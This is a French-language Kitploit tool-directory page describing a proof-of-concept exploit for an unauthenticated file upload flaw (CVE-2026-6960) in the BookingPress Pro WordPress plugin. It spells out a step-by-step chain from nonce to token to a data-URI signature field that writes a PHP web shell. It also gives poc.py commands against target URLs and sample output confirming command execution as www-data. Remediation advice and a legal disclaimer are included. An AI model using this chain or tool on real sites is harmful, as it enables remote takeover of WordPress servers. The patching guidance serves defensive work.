Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/xxconi/cve-2026-6960
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubxxconi/cve-2026-6960

CVE-2026-6960

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit de preuve de concept pour CVE-2026-6960 : téléchargement arbitraire de fichier sans authentification dans BookingPress Pro ≤ 5.6. Automatise une chaîne en 3 étapes pour télécharger un web shell PHP via une injection d'URI de données, permettant l'exécution de code à distance sur des sites WordPress vulnérables.

Partager

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Téléchargement Arbitraire de Fichier non Authentifié

CVE CVSS CWE Auth Version Python

Recherche par : Atomic Edge Sévérité : Critique | CVSS : 9.8 | Authentification requise : Aucune

⚠️ v2 — Corrections techniques appliquées basées sur les retours de la communauté. Voir le Journal des modifications pour les détails.


Aperçu

Une vulnérabilité critique de téléchargement arbitraire de fichier non authentifié existe dans le plugin WordPress (versions ≤ 5.6). Le gestionnaire de soumission de réservation traite la valeur d'un champ personnalisé de signature comme une . Le plugin extrait l'extension de fichier de la partie MIME de l'URI via une expression régulière et la passe directement à — sans liste blanche ou noire d'extensions. Cela permet à un attaquant d'écrire un shell web PHP dans un répertoire accessible via le web et d'obtenir une .

BookingPress Pro
bookingpress_book_appointment_booking
URI de données
file_put_contents()
Exécution de Code à Distance (RCE)
PropriétéDétail
PluginBookingPress Pro (bookingpress-appointment-booking-pro)
Versions affectées≤ 5.6
Corrigé dans5.7
VecteurRéseau / Non authentifié
Action AJAXbookingpress_book_appointment_booking
Cause racineExtension extraite du type MIME contrôlé par l'attaquant dans l'URI de données → file_put_contents() sans liste blanche
CWECWE-434 : Téléchargement sans restriction de fichier de type dangereux

Prérequis

⚠️ Toutes les conditions suivantes doivent être remplies pour que le site soit exploitable :

  • ✅ Un champ personnalisé de type signature doit être configuré dans le formulaire de réservation BookingPress par l'administrateur du site
  • ✅ Au moins un service actif doit exister (pour générer un créneau horaire valide)
  • ✅ Une page avec le widget formulaire de réservation BookingPress doit être accessible publiquement

Les sites utilisant ≤ 5.6 sans champ personnalisé de signature configuré ne sont pas exploitables via ce vecteur.


Déroulement de l'attaque

root@kitploit:~
1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

Détail de la cause racine

Le chemin de code vulnérable traite la valeur du champ de signature comme une URI de données :

root@kitploit:~
data:image/{ext};base64,{base64_encoded_content}

BookingPress extrait {ext} du type MIME à l'aide d'une correspondance regex, puis écrit le contenu décodé sur le disque en utilisant file_put_contents() avec cette extension ajoutée au nom du fichier — aucune vérification de liste blanche n'est effectuée. Fournir image/php comme type MIME entraîne l'écriture d'un fichier .php dans le répertoire de téléchargement.

Ceci est fondamentalement différent d'un téléchargement de fichier multipart standard — la charge utile est intégrée dans un champ du corps JSON, et non dans une partie de téléchargement de fichier.


Prérequis techniques

root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
# Basique — formulaire de réservation sur la page d'accueil, ID de service 1
python3 poc.py -u https://target.com

# Formulaire de réservation sur une page spécifique
python3 poc.py -u https://target.com --booking-page /appointments/

# ID de service personnalisé et nom de fichier shell
python3 poc.py -u https://target.com -s 3 -f evil.php

# Ignorer la vérification SSL
python3 poc.py -u https://target.com --no-verify

Options

OptionDescriptionPar défaut
-u, --urlURL cible WordPress(requis)
-bp, --booking-pageChemin de la page contenant le formulaire BookingPress/
-s, --service-idID du service BookingPress1
-f, --filenameNom du fichier shell (extension injectée dans le MIME de l'URI de données)shell.php
--no-verifyDésactiver la vérification du certificat SSLfalse

Exemple de sortie

root@kitploit:~
[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>

Remédiation

  1. Valider le type MIME de l'URI de données par rapport à une liste blanche stricte (image/png, image/jpeg, image/svg+xml) avant d'extraire l'extension
  2. Ne jamais dériver une extension de fichier d'une entrée contrôlée par l'attaquant — générer un nom de fichier aléatoire avec une extension sécurisée codée en dur
  3. Utiliser la fonction native WordPress wp_check_filetype_and_ext() pour toute validation de type de fichier
  4. Envisager de stocker les fichiers de signature en dehors de la racine web pour empêcher l'exécution directe

→ Mettez à jour immédiatement vers BookingPress Pro 5.7.


Journal des modifications

v2 (2026-05-23) — Corrections techniques

#Problèmev1 (incorrect)v2 (corrigé)
1Action AJAXbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2Méthode de charge utileTéléchargement de fichier multipart avec image/pngURI de données : data:image/{ext};base64,...
3Déroulement de l'exploitPOST direct non authentifiéChaîne de prérequis en 3 étapes (nonce → transient → jeton)
4PrérequisNon documentéLe champ personnalisé de signature doit être configuré

Avertissement

Ce dépôt est destiné à des fins de recherche de sécurité autorisée et éducatives uniquement. N'utilisez pas cet outil contre un système sans autorisation écrite explicite du propriétaire du système. Une utilisation non autorisée peut enfreindre le CFAA (États-Unis), le Code criminel art. 342.1 (Canada), la directive NIS2 de l'UE et d'autres lois applicables. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages découlant de ce code.

Télécharger l’outil